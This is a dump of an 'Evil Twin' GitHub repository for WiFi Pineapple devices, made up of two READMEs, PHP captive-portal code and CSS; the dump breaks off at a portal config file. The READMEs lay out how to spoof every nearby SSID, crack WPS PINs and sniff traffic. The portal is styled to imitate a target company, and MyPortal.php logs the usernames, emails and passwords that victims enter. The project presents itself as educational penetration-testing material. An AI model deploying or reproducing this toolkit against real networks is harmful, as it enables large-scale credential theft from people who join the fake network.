├── .gitattributes ├── LICENSE ├── README.md ├── img ├── landing_page_mobile.jpg ├── landing_page_pc.jpg ├── log.jpg └── settings.jpg ├── mark_vi ├── README.md ├── img │ └── log.jpg └── src │ └── evil-twin │ ├── .disable │ ├── .enable │ ├── MyPortal.php │ ├── css │ └── main.css │ ├── evil-twin.ep │ ├── helper.php │ ├── img │ ├── background_texture.jpg │ └── logo.png │ └── index.php └── src └── evil-twin ├── .disable ├── .enable ├── MyPortal.php ├── css └── main.css ├── evil-twin.ep ├── helper.php ├── img ├── background_texture.jpg └── logo.png └── index.php /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Ivan Šincek 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Evil Twin - Mark VII 2 | 3 | Learn how to set up a fake authentication web page on a fake WiFi network. 4 | 5 | Read the comments in these two files to get a better understanding on how all of it works: 6 | 7 | * [/src/evil-twin/index.php](https://github.com/ivan-sincek/evil-twin/blob/master/src/evil-twin/index.php) 8 | * [/src/evil-twin/MyPortal.php](https://github.com/ivan-sincek/evil-twin/blob/master/src/evil-twin/MyPortal.php) 9 | 10 | You can modify and expand this project to your liking. You have everything you need to get started. 11 | 12 | You can easily customize [CSS](https://github.com/ivan-sincek/evil-twin/blob/master/src/evil-twin/css/main.css) to make it look more like the company you are testing, e.g. change colors, logo, etc. 13 | 14 | You can also use SingleFile ([Chrome](https://chrome.google.com/webstore/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle))([FireFox](https://addons.mozilla.org/hr/firefox/addon/single-file)) browser extension to download a web page as a single HTML file, rename the file to `index.php`, and use it in the same template. 15 | 16 | Tested on WiFi Pineapple Mark VII Basic with the firmware v2.0.0 and modules Evil Portal v1.5.1 and Cabinet v1.2.1. 17 | 18 | Additional set up and testing was done on Windows 10 Enterprise OS (64-bit) and Kali Linux v2022.2 (64-bit). 19 | 20 | Made for educational purposes. I hope it will help! 21 | 22 | In this project I also want to show you how to install and use WiFi Pineapple's modules through GUI, for more console attacks check my [WiFi penetration testing cheat sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet). 23 | 24 | If you have an older device, go to [WiFi Pineapple Nano \(Mark VI\)](https://github.com/ivan-sincek/evil-twin/blob/master/mark_vi). 25 | 26 | ## Table of Contents 27 | 28 | * [How to Set up a WiFi Pineapple](#how-to-set-up-a-wifi-pineapple) 29 | * [Windows OS](#windows-os) 30 | * [Kali Linux](#kali-linux) 31 | * [How to Run](#how-to-run) 32 | * [Spoof All SSIDs](#spoof-all-ssids) 33 | * [Kismet](#kismet) 34 | * [Remote Packet Capture](#remote-packet-capture) 35 | * [Local Packet Capture](#local-packet-capture) 36 | * [Sniff WiFi Network Traffic](#sniff-wifi-network-traffic) 37 | * [Images](#images) 38 | 39 | ## How to Set Up the WiFi Pineapple 40 | 41 | In case you might need it, check [frimware recovery/upgrade](https://downloads.hak5.org/pineapple). 42 | 43 | ### Windows OS 44 | 45 | Follow the instructions below: 46 | 47 | 1. [Setup Basics](https://docs.hak5.org/wifi-pineapple/setup/setting-up-your-wifi-pineapple) 48 | 49 | 2. [Windows Setup](https://docs.hak5.org/wifi-pineapple/setup/connecting-to-the-wifi-pineapple-on-windows) 50 | 51 | ### Kali Linux 52 | 53 | Download and run the following script: 54 | 55 | ```bash 56 | wget https://downloads.hak5.org/api/devices/wifipineapplemk7/tools/wp7.sh/1.0/linux -O wp7.sh && mv wp7.sh /usr/bin/wp7 && chmod +x /usr/bin/wp7 && wp7 57 | ``` 58 | 59 | ## How to Run 60 | 61 | In WiFi Pineapple's dashboard go to `Modules & Packages -> Modules -> Get Available Modules`, install `Evil Portal` and `Cabinet` modules, and pin them to the sidebar. 62 | 63 | Copy all the content from [\\src\\](https://github.com/ivan-sincek/evil-twin/tree/master/src) to WiFi Pineapple's `/root/portals/` directory: 64 | 65 | ```fundamental 66 | scp -r evil-twin root@172.16.42.1:/root/portals/evil-twin 67 | ``` 68 | 69 | Go to `PineAP Suite -> Open AP`, and set the `Open SSID` to your desired (portal) name. 70 | 71 | Go to `PineAP Suite -> Filtering`, and make sure both client and SSID filter lists are set to deny mode. 72 | 73 | Connect your WiFi Pineapple to a real working WiFi network in `Settings -> Networking -> Wireless Client Mode` section to tunnel network traffic back and forth from the Internet. 74 | 75 | In WiFi Pineapple's dashboard go to `Evil Portal` and activate the portal, then, click on both `Start Web Server` and `Start`. 76 | 77 | In WiFi Pineapple's dashboard go to `Cabinet`, navigate to `/root/logs/` directory and click "Edit" on `evil_twin.log` to view the captured credentials. 78 | 79 | Download the log file through SSH: 80 | 81 | ```fundamental 82 | scp root@172.16.42.1:/root/logs/evil_twin.log ./ 83 | ``` 84 | 85 | ### Spoof All SSIDs 86 | 87 | Hide the open access point. 88 | 89 | In WiFi Pineapple's dashboard go to `PineAP Suite -> Impersonation` and add desired (portal) names to `Spoofed AP Pool`, then, set your settings as in picture below to spoof all the access points in your range. 90 | 91 |
Figure 1 - PineAP Settings
94 | 95 | --- 96 | 97 | Find out more about PineAP Suite [here](https://docs.hak5.org/wifi-pineapple/ui-overview/pineap). 98 | 99 | Find out how to turn up your WiFi Pineapple's signal strength to missassociate clients to the fake WiFi network from my other [project](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet#1-configuration). 100 | 101 | Use filtering so you won't go out of your testing scope. 102 | 103 | ## Kismet 104 | 105 | Search for WiFi networks within your range and fetch their MAC address, vendor name, etc. 106 | 107 | ### Remote Packet Capture 108 | 109 | On your Kali Linux, download some missing files, then, run Kismet's server: 110 | 111 | ```fundamental 112 | wget https://raw.githubusercontent.com/kismetwireless/kismet/master/conf/kismet_httpd.conf -O /etc/kismet/kismet_httpd.conf 113 | 114 | wget https://raw.githubusercontent.com/kismetwireless/kismet/master/conf/kismet_manuf.txt.gz -O /etc/kismet/kismet_manuf.txt.gz 115 | 116 | kismet 117 | ``` 118 | 119 | Connect to your WiFi Pineapple (remote port forwarding) and install Kismet's remote capturing tool: 120 | 121 | ```bash 122 | ssh root@172.16.42.1 -R 3501:localhost:3501 123 | 124 | opkg update && opkg install kismet-capture-linux-wifi 125 | ``` 126 | 127 | Connect Kismet's remote capturing tool to Kismet's server: 128 | 129 | ```fundamental 130 | airmon-ng start wlan0 131 | 132 | kismet_cap_linux_wifi --tcp --connect localhost:3501 --source wlan0mon 133 | ``` 134 | 135 | On your Kali Linux, navigate to Kismet's dashboard (`http://localhost:2501`) with your preferred web browser. 136 | 137 | ### Local Packet Capture 138 | 139 | Connect to your WiFi Pineapple, then, install, download missing files, and run Kismet's server: 140 | 141 | ```bash 142 | ssh root@172.16.42.1 143 | 144 | opkg update && opkg install kismet 145 | 146 | wget https://raw.githubusercontent.com/kismetwireless/kismet/master/conf/kismet_httpd.conf -O /etc/kismet/kismet_httpd.conf 147 | 148 | wget https://raw.githubusercontent.com/kismetwireless/kismet/master/conf/kismet_manuf.txt.gz -O /etc/kismet/kismet_manuf.txt.gz 149 | 150 | airmon-ng start wlan0 151 | 152 | kismet -c wlan0mon 153 | ``` 154 | 155 | On your Kali Linux, navigate to Kismet's dashboard (`http://172.16.42.1:2501`) with your preferred web browser. 156 | 157 | ## Sniff WiFi Network Traffic 158 | 159 | Once you get an access to a WiFi network, start capturing network packets. 160 | 161 | In WiFi Pineapple's dashboard go to `Modules -> Manage -> Get Available Modules`, install `TCPDump` module, and pin it to the sidebar. 162 | 163 | In WiFi Pineapple's dashboard go to `TCPDump` and start capturing packets. 164 | 165 | You can download the PCAP file by clicking on the cloud icon. 166 | 167 | You can also pipe `tcpdump` from WiFi Pineapple directly to Wireshark 168 | 169 | ```bash 170 | ssh root@172.16.42.1 tcpdump -U -i wlan0mon -w - | wireshark -k -i - 171 | ``` 172 | 173 | On Windows OS you might need to specify a full path to the executable. 174 | 175 | ## Images 176 | 177 |Figure 2 - Landing Page (PC)
180 | 181 |Figure 3 - Landing Page (Mobile)
184 | 185 |Figure 4 - Log
188 | -------------------------------------------------------------------------------- /img/landing_page_mobile.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/evil-twin/415b5d3ac2733cbe86f1ad5400037644cbd3c0ba/img/landing_page_mobile.jpg -------------------------------------------------------------------------------- /img/landing_page_pc.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/evil-twin/415b5d3ac2733cbe86f1ad5400037644cbd3c0ba/img/landing_page_pc.jpg -------------------------------------------------------------------------------- /img/log.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/evil-twin/415b5d3ac2733cbe86f1ad5400037644cbd3c0ba/img/log.jpg -------------------------------------------------------------------------------- /img/settings.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/evil-twin/415b5d3ac2733cbe86f1ad5400037644cbd3c0ba/img/settings.jpg -------------------------------------------------------------------------------- /mark_vi/README.md: -------------------------------------------------------------------------------- 1 | # Evil Twin - Mark VI 2 | 3 | Learn how to set up a fake authentication web page on a fake WiFi network. 4 | 5 | Read the comments in these two files to get a better understanding on how all of it works: 6 | 7 | * [/src/evil-twin/index.php](https://github.com/ivan-sincek/evil-twin/blob/master/mark_vi/src/evil-twin/index.php) 8 | * [/src/evil-twin/MyPortal.php](https://github.com/ivan-sincek/evil-twin/blob/master/mark_vi/src/evil-twin/MyPortal.php) 9 | 10 | You can modify and expand this project to your liking. You have everything you need to get started. 11 | 12 | You can easily customize [CSS](https://github.com/ivan-sincek/evil-twin/blob/master/mark_vi/src/evil-twin/css/main.css) to make it look more like the company you are testing, e.g. change colors, logo, etc. 13 | 14 | You can also use SingleFile ([Chrome](https://chrome.google.com/webstore/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle))([FireFox](https://addons.mozilla.org/hr/firefox/addon/single-file)) browser extension to download a web page as a single HTML file, rename the file to `index.php`, and use it in the same template. 15 | 16 | Tested on WiFi Pineapple NANO with the firmware v2.7.0 and modules Evil Portal v3.2 and Cabinet v1.1. 17 | 18 | Additional set up and testing was done on Windows 10 Enterprise OS (64-bit) and Kali Linux v2022.2 (64-bit). 19 | 20 | Made for educational purposes. I hope it will help! 21 | 22 | In this project I also want to show you how to install and use WiFi Pineapple's modules through GUI, for more console attacks check my [WiFi penetration testing cheat sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet). 23 | 24 | ## Table of Contents 25 | 26 | * [How to Set up a WiFi Pineapple](#how-to-set-up-a-wifi-pineapple) 27 | * [Windows OS](#windows-os) 28 | * [Kali Linux](#kali-linux) 29 | * [How to Run](#how-to-run) 30 | * [Spoof All SSIDs](#spoof-all-ssids) 31 | * [Remote Packet Capture With Kismet](#remote-packet-capture-with-kismet) 32 | * [Crack WPS PIN](#crack-wps-pin) 33 | * [Sniff WiFi Network Traffic](#sniff-wifi-network-traffic) 34 | * [Images](#images) 35 | 36 | ## How to Set Up the WiFi Pineapple 37 | 38 | In case you might need it, check [frimware recovery/upgrade](https://downloads.hak5.org/pineapple). 39 | 40 | ### Windows OS 41 | 42 | Follow the instructions below: 43 | 44 | 1. [Install Network Driver](https://www.techspot.com/drivers/driver/file/information/17792) 45 | 46 | 2. [Setup Basics](https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra/setup/setup-basics) 47 | 48 | 3. [Windows Setup](https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra/setup/wifi-pineapple-nano-windows-setup) 49 | 50 | ### Kali Linux 51 | 52 | Download and run the following script: 53 | 54 | ```bash 55 | wget https://downloads.hak5.org/api/devices/wifipineapplenano/tools/wp6.sh/1.0/linux -O wp6.sh && mv wp6.sh /usr/bin/wp6 && chmod +x /usr/bin/wp6 && wp6 56 | ``` 57 | 58 | ## How to Run 59 | 60 | In WiFi Pineapple's dashboard go to `Modules -> Manage Modules -> Get Modules from Hak5 Community Repositories` and install `Evil Portal` and `Cabinet` modules, preferably to an SD card storage. 61 | 62 | Copy all the content from [\\src\\](https://github.com/ivan-sincek/evil-twin/tree/master/mark_vi/src) to WiFi Pineapple's `/sd/portals/` (preferred) or `/root/portals/` directory: 63 | 64 | ```fundamental 65 | scp -r evil-twin root@172.16.42.1:/sd/portals/evil-twin 66 | 67 | scp -r evil-twin root@172.16.42.1:/root/portals/evil-twin 68 | ``` 69 | 70 | Go to `Networking`, and set the `Open AP SSID` to your desired (portal) name. 71 | 72 | Go to `Filters`, and make sure both client and SSID filter lists are set to deny mode. 73 | 74 | In WiFi Pineapple's dashboard go to `Networking` and connect your WiFi Pineapple to a real working WiFi network in `WiFi Client Mode` section to tunnel network traffic back and forth from the Internet. 75 | 76 | In WiFi Pineapple's dashboard go to `Modules -> Evil Portal` and activate the portal, then, start `Captive Portal`. 77 | 78 | In WiFi Pineapple's dashboard go to `Modules -> Cabinet`, navigate to `/sd/logs/` or `/root/logs/` directory and click "Edit" on `evil_twin.log` to view the captured credentials. 79 | 80 | Download the log file through SSH: 81 | 82 | ```fundamental 83 | scp root@172.16.42.1:/sd/logs/evil_twin.log ./ 84 | 85 | scp root@172.16.42.1:/root/logs/evil_twin.log ./ 86 | ``` 87 | 88 | ### Spoof All SSIDs 89 | 90 | Hide the open access point. 91 | 92 | In WiFi Pineapple's dashboard go to `PineAP` and add desired (portal) names to `SSID Pool`, then, tick all the checkboxes to spoof all the access points in your range. 93 | 94 | --- 95 | 96 | Find out more about PineAP [here](https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra/getting-started/the-pineap-suite). 97 | 98 | Find out how to turn up your WiFi Pineapple's signal strength to missassociate clients to the fake WiFi network from my other [project](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet#1-configuration). 99 | 100 | Use filtering so you won't go out of your testing scope. 101 | 102 | ## Remote Packet Capture With Kismet 103 | 104 | Search for WiFi networks within your range and fetch their MAC address, vendor name, etc. 105 | 106 | On your Kali Linux, download some missing files, then, run Kismet's server: 107 | 108 | ```fundamental 109 | wget https://raw.githubusercontent.com/kismetwireless/kismet/master/conf/kismet_httpd.conf -O /etc/kismet/kismet_httpd.conf 110 | 111 | wget https://raw.githubusercontent.com/kismetwireless/kismet/master/conf/kismet_manuf.txt.gz -O /etc/kismet/kismet_manuf.txt.gz 112 | 113 | kismet 114 | ``` 115 | 116 | Connect to your WiFi Pineapple (remote port forwarding) and install Kismet's remote capturing tool (to an SD card storage): 117 | 118 | ```bash 119 | ssh root@172.16.42.1 -R 3501:localhost:3501 120 | 121 | opkg update && opkg -d sd install kismet-remotecap-hak5 122 | ``` 123 | 124 | After the installation, create missing symbolic links: 125 | 126 | ```fundamental 127 | ln -s /sd/usr/lib/libgpg-error.so.0.27.0 /usr/lib/libgpg-error.so.0 128 | 129 | ln -s /sd/usr/lib/libgcrypt.so.20.2.5 /usr/lib/libgcrypt.so.20 130 | 131 | ln -s /sd/usr/lib/libgnutls.so.30.28.1 /usr/lib/libgnutls.so.30 132 | 133 | ln -s /sd/usr/lib/libmicrohttpd.so.12.49.0 /usr/lib/libmicrohttpd.so 134 | 135 | ln -s /sd/usr/lib/libmicrohttpd.so.12.49.0 /usr/lib/libmicrohttpd.so.12 136 | 137 | ln -s /sd/usr/lib/libcap.so.2 /usr/lib/libcap.so 138 | 139 | ln -s /sd/usr/lib/libcap.so.2.27 /usr/lib/libcap.so.2 140 | 141 | ln -s /sd/usr/lib/libprotobuf-c.so.1.0.0 /usr/lib/libprotobuf-c.so.1 142 | 143 | ln -s /sd/usr/lib/libdw-0.177.so /usr/lib/libdw.so.1 144 | ``` 145 | 146 | Connect Kismet's remote capturing tool to Kismet's server: 147 | 148 | ```fundamental 149 | airmon-ng start wlan0 150 | 151 | kismet_cap_linux_wifi --connect localhost:3501 --source wlan0mon 152 | ``` 153 | 154 | On your Kali Linux, navigate to Kismet's dashboard (`http://localhost:2501`) with your preferred web browser. 155 | 156 | ## Crack WPS PIN 157 | 158 | In WiFi Pineapple's dashboard go to `Modules -> Manage Modules -> Get Modules from Hak5 Community Repositories` and install `wps` module (to an SD card storage). 159 | 160 | On your WiFi Pineapple, install required packages (to the internal storage): 161 | 162 | ```bash 163 | opkg update && opkg install libpcap 164 | ``` 165 | 166 | In WiFi Pineapple's dashboard go to `Modules -> wps`, install the required dependencies (to an SD card storage) and start cracking. 167 | 168 | ## Sniff WiFi Network Traffic 169 | 170 | Once you get an access to a WiFi network, start capturing network packets. 171 | 172 | In WiFi Pineapple's dashboard go to `Modules -> Manage Modules -> Get Modules from Hak5 Community Repositories` and install `tcpdump` module (to an SD card storage). 173 | 174 | In WiFi Pineapple's dashboard go to `Modules -> tcpdump`, install the required dependencies (to an SD card storage) and start capturing packets. 175 | 176 | You can download the PCAP file from `History` section. 177 | 178 | You can also pipe `tcpdump` from WiFi Pineapple directly to Wireshark: 179 | 180 | ```bash 181 | ssh root@172.16.42.1 tcpdump -U -i wlan0mon -w - | wireshark -k -i - 182 | ``` 183 | 184 | On Windows OS you might need to specify a full path to the executable. 185 | 186 | ## Images 187 | 188 |Figure 1 - Landing Page (PC)
191 | 192 |Figure 2 - Landing Page (Mobile)
195 | 196 |Figure 3 - Log
199 | -------------------------------------------------------------------------------- /mark_vi/img/log.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/evil-twin/415b5d3ac2733cbe86f1ad5400037644cbd3c0ba/mark_vi/img/log.jpg -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/.disable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is de-activated. 4 | # You can use any interpreter you want to, the default is bash. 5 | -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/.enable: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot. 4 | # You can use any interpreter you want to, the default is bash. 5 | -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/MyPortal.php: -------------------------------------------------------------------------------- 1 | request->username)) { 17 | $this->request->username = trim($this->request->username); 18 | if (strlen($this->request->username) >= 1 && strlen($this->request->username) <= $limit) { 19 | $parameters['username'] = $this->request->username; 20 | } 21 | } 22 | if (isset($this->request->email)) { 23 | $this->request->email = trim($this->request->email); 24 | if (strlen($this->request->email) >= 1 && strlen($this->request->email) <= $limit) { 25 | $parameters['email'] = $this->request->email; 26 | } 27 | } 28 | if (isset($this->request->password)) { 29 | if (strlen($this->request->password) >= 1 && strlen($this->request->password) <= $limit) { 30 | $parameters['password'] = $this->request->password; 31 | } 32 | } 33 | if ((isset($parameters['username']) || isset($parameters['email'])) && isset($parameters['password'])) { 34 | 35 | if (isset($this->request->mac)) { 36 | $parameters['mac'] = strtoupper(substr(trim($this->request->mac), 0, $limit)); 37 | } 38 | if (isset($this->request->host)) { 39 | $parameters['host'] = substr(trim($this->request->host), 0, $limit); 40 | } 41 | if (isset($this->request->ssid)) { 42 | $parameters['ssid'] = substr(trim($this->request->ssid), 0, $limit); 43 | } 44 | 45 | $parameters['datetime'] = date('Y-m-d H:i:s', time()); 46 | 47 | // write JSON string to a file 48 | $string = json_encode($parameters) . "\n"; 49 | 50 | if (file_exists('/sd/portals/evil-twin/')) { 51 | // write to an SD card storage as the first option 52 | if (!file_exists('/sd/logs/')) { 53 | mkdir('/sd/logs/'); 54 | } 55 | file_put_contents('/sd/logs/evil_twin.log', $string, FILE_APPEND | LOCK_EX); 56 | } else if (file_exists('/root/portals/evil-twin/')) { 57 | // write to an internal storage as the second option 58 | if (!file_exists('/root/logs/')) { 59 | mkdir('/root/logs/'); 60 | } 61 | file_put_contents('/root/logs/evil_twin.log', $string, FILE_APPEND | LOCK_EX); 62 | } 63 | } 64 | 65 | // call the parent to handle basic authorization first 66 | // this is where and when the user redirection is taking place 67 | parent::handleAuthorization(); 68 | } 69 | 70 | /** 71 | * Override this to do something when the client is successfully authorized. 72 | * By default it just notifies the Web UI. 73 | */ 74 | public function onSuccess() { 75 | 76 | // calls default success message 77 | parent::onSuccess(); 78 | } 79 | 80 | /** 81 | * If an error occurs then do something here. 82 | * Override to provide your own functionality. 83 | */ 84 | public function showError() { 85 | 86 | // calls default error message 87 | parent::showError(); 88 | } 89 | } 90 | ?> 91 | -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/css/main.css: -------------------------------------------------------------------------------- 1 | @charset "UTF-8"; 2 | 3 | /* --------------------CUSTOMIZATION-------------------- */ 4 | 5 | :root { 6 | /* add more customizations to your liking */ 7 | 8 | /* new design */ 9 | --default-body-background-image: none; 10 | --default-body-background-position: none; 11 | --default-body-background-repeat: none; 12 | --default-body-background-size: none; 13 | --default-body-background-color: #F8F8F8; 14 | --default-body-padding: 0.5em 1.5em; 15 | --default-body-color: #262626; 16 | --default-body-font-family: Arial, Helvetica, sans-serif; 17 | 18 | --default-form-layout-background: none; 19 | --default-form-layout-padding: none; 20 | --default-form-layout-width: none; 21 | --default-form-layout-width-media: none; 22 | --default-form-layout-color: none; 23 | --default-form-layout-border: none; 24 | 25 | --default-form-logo-width: 12em; 26 | --default-form-logo-width-media: 11em; 27 | 28 | --default-form-width: 18em; 29 | --default-form-width-media: 14em; 30 | 31 | --default-form-title: 2.6em; 32 | --default-form-title-media: 2.6em; 33 | --default-form-subtitle: 1.4em; 34 | --default-form-subtitle-media: 1.4em; 35 | 36 | --default-form-input-background-color: #FFF; 37 | --default-form-input-color: inherit; 38 | --default-form-input-padding: 0.2em 0.7em; 39 | --default-form-input-font-size: 1.3em; 40 | --default-form-input-border-top: 0.07em solid #9D2A00; 41 | --default-form-input-border-right: 0.07em solid #9D2A00; 42 | --default-form-input-border-bottom: 0.07em solid #9D2A00; 43 | --default-form-input-border-left: 0.07em solid #9D2A00; 44 | --default-form-input-border-radius: 1em; 45 | 46 | --default-form-submit-background-color: #FF4500; 47 | --default-form-submit-background-color-hover: #D83A00; 48 | --default-form-submit-color: #F8F8F8; 49 | --default-form-submit-border-top: 0.07em solid #9D2A00; 50 | --default-form-submit-border-right: 0.07em solid #9D2A00; 51 | --default-form-submit-border-bottom: 0.07em solid #9D2A00; 52 | --default-form-submit-border-left: 0.07em solid #9D2A00; 53 | --default-form-submit-border-radius: 1em; 54 | 55 | --default-form-message-color: #9D2A00; 56 | --default-form-message-font-size: 1em; 57 | --default-form-message-text-align: center; 58 | 59 | /* old design */ 60 | /* --default-body-background-image: url("../img/background_texture.jpg"); */ 61 | /* --default-body-background-position: left; */ 62 | /* --default-body-background-repeat: repeat; */ 63 | /* --default-body-background-size: contain; */ 64 | /* --default-body-background-color: #262626; */ 65 | /* --default-body-padding: 0.5em 1.5em; */ 66 | /* --default-body-color: #F8F8F8; */ 67 | /* --default-body-font-family: Arial, Helvetica, sans-serif; */ 68 | 69 | /* --default-form-layout-background: #DCDCDC; */ 70 | /* --default-form-layout-padding: 1.5em; */ 71 | /* --default-form-layout-width: 15em; */ 72 | /* --default-form-layout-width-media: 14em; */ 73 | /* --default-form-layout-color: #000; */ 74 | /* --default-form-layout-border: 0.07em solid #000; */ 75 | 76 | /* --default-form-logo-width: 12em; */ 77 | /* --default-form-logo-width-media: 11em; */ 78 | 79 | /* --default-form-width: 15em; */ 80 | /* --default-form-width-media: 14em; */ 81 | 82 | /* --default-form-title: 2.6em; */ 83 | /* --default-form-title-media: 2.6em; */ 84 | /* --default-form-subtitle: 1.4em; */ 85 | /* --default-form-subtitle-media: 1.4em; */ 86 | 87 | /* --default-form-input-background-color: #FFF; */ 88 | /* --default-form-input-color: inherit; */ 89 | /* --default-form-input-padding: 0.2em 0.4em; */ 90 | /* --default-form-input-font-size: 1.2em; */ 91 | /* --default-form-input-border-top: 0.07em solid #9D2A00; */ 92 | /* --default-form-input-border-right: 0.07em solid #9D2A00; */ 93 | /* --default-form-input-border-bottom: 0.07em solid #9D2A00; */ 94 | /* --default-form-input-border-left: 0.07em solid #9D2A00; */ 95 | /* --default-form-input-border-radius: none; */ 96 | 97 | /* --default-form-submit-background-color: #FF4500; */ 98 | /* --default-form-submit-background-color-hover: #D83A00; */ 99 | /* --default-form-submit-color: #F8F8F8; */ 100 | /* --default-form-submit-border-top: 0.07em solid #9D2A00; */ 101 | /* --default-form-submit-border-right: 0.07em solid #9D2A00; */ 102 | /* --default-form-submit-border-bottom: 0.07em solid #9D2A00; */ 103 | /* --default-form-submit-border-left: 0.07em solid #9D2A00; */ 104 | /* --default-form-submit-border-radius: none; */ 105 | 106 | /* --default-form-message-color: #9D2A00; */ 107 | /* --default-form-message-font-size: 1em; */ 108 | /* --default-form-message-text-align: center; */ 109 | } 110 | 111 | /* --------------------GLOBAL-------------------- */ 112 | 113 | html { 114 | height: 100%; 115 | } 116 | body { 117 | background-color: var(--default-body-background-color); 118 | display: flex; 119 | flex-direction: column; 120 | margin: 0; 121 | height: inherit; 122 | color: var(--default-body-color); 123 | font-family: var(--default-body-font-family); 124 | font-size: 1em; 125 | font-weight: 400; 126 | text-align: left; 127 | } 128 | .background-img { 129 | background-image: var(--default-body-background-image); 130 | background-position: var(--default-body-background-position); 131 | background-repeat: var(--default-body-background-repeat); 132 | background-size: var(--default-body-background-size); 133 | } 134 | 135 | /* --------------------FRONT FORM-------------------- */ 136 | 137 | .front-form { 138 | display: flex; 139 | flex-direction: column; 140 | align-items: center; 141 | justify-content: center; 142 | flex: 1 0 auto; 143 | padding: var(--default-body-padding); 144 | } 145 | .front-form .layout { 146 | background-color: var(--default-form-layout-background); 147 | display: flex; 148 | flex-direction: column; 149 | align-items: center; 150 | padding: var(--default-form-layout-padding); 151 | width: var(--default-form-layout-width); 152 | color: var(--default-form-layout-color); 153 | border: var(--default-form-layout-border); 154 | } 155 | .front-form .logo { 156 | text-align: center; 157 | } 158 | .front-form .logo img { 159 | margin-bottom: 0.8em; 160 | width: var(--default-form-logo-width); 161 | } 162 | .front-form header { 163 | text-align: center; 164 | } 165 | .front-form header .title { 166 | margin: 0; 167 | font-size: var(--default-form-title); 168 | font-weight: 400; 169 | } 170 | .front-form header .subtitle { 171 | margin: 0.6em 0 0 0; 172 | font-size: var(--default-form-subtitle); 173 | font-weight: 400; 174 | } 175 | .front-form form { 176 | display: flex; 177 | flex-direction: column; 178 | margin-top: 1.4em; 179 | width: var(--default-form-width); 180 | } 181 | .front-form form input { 182 | background-color: var(--default-form-input-background-color); 183 | -webkit-appearance: none; 184 | -moz-appearance: none; 185 | appearance: none; 186 | margin: 0; 187 | padding: var(--default-form-input-padding); 188 | color: var(--default-form-input-color); 189 | font-family: var(--default-body-font-family); 190 | font-size: var(--default-form-input-font-size); 191 | border-top: var(--default-form-input-border-top); 192 | border-right: var(--default-form-input-border-right); 193 | border-bottom: var(--default-form-input-border-bottom); 194 | border-left: var(--default-form-input-border-left); 195 | -webkit-border-radius: var(--default-form-input-border-radius); 196 | -moz-border-radius: var(--default-form-input-border-radius); 197 | border-radius: var(--default-form-input-border-radius); 198 | } 199 | .front-form form input:not(:last-child) { 200 | margin-bottom: 0.5em; 201 | } 202 | .front-form form input[type="submit"] { 203 | background-color: var(--default-form-submit-background-color); 204 | color: var(--default-form-submit-color); 205 | cursor: pointer; 206 | border-top: var(--default-form-submit-border-top); 207 | border-right: var(--default-form-submit-border-right); 208 | border-bottom: var(--default-form-submit-border-bottom); 209 | border-left: var(--default-form-submit-border-left); 210 | -webkit-border-radius: var(--default-form-submit-border-radius); 211 | -moz-border-radius: var(--default-form-submit-border-radius); 212 | border-radius: var(--default-form-submit-border-radius); 213 | transition: background-color 220ms linear; 214 | } 215 | .front-form form input[type="submit"]:hover { 216 | background-color: var(--default-form-submit-background-color-hover); 217 | transition: background-color 220ms linear; 218 | } 219 | .front-form .layout form .message { 220 | margin: 0 0 1em 0; 221 | color: var(--default-form-message-color); 222 | font-size: var(--default-form-message-font-size); 223 | text-align: var(--default-form-message-text-align); 224 | } 225 | .front-form .layout form .message:not(:empty) { 226 | margin-top: 0.25em; 227 | } 228 | 229 | /* --------------------MEDIA QUERIES-------------------- */ 230 | 231 | @media screen and (max-width: 667px) { 232 | .front-form .layout { 233 | width: var(--default-form-layout-width-media); 234 | } 235 | .front-form .layout form { 236 | width: var(--default-form-width-media); 237 | } 238 | .front-form header .title { 239 | font-size: var(--default-form-title-media); 240 | } 241 | .front-form header .subtitle { 242 | font-size: var(--default-form-subtitle-media); 243 | } 244 | .front-form .logo img { 245 | width: var(--default-form-logo-width-media); 246 | } 247 | } 248 | -------------------------------------------------------------------------------- /mark_vi/src/evil-twin/evil-twin.ep: -------------------------------------------------------------------------------- 1 | 